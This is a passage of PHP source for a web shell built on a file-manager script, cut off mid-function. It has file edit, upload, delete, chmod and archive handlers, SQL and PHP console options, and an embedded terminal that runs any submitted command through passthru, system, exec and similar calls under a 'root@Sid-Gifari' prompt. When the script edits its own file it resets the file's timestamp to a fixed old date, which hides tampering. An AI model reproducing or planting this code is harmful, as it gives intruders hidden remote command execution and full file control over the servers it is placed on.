'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
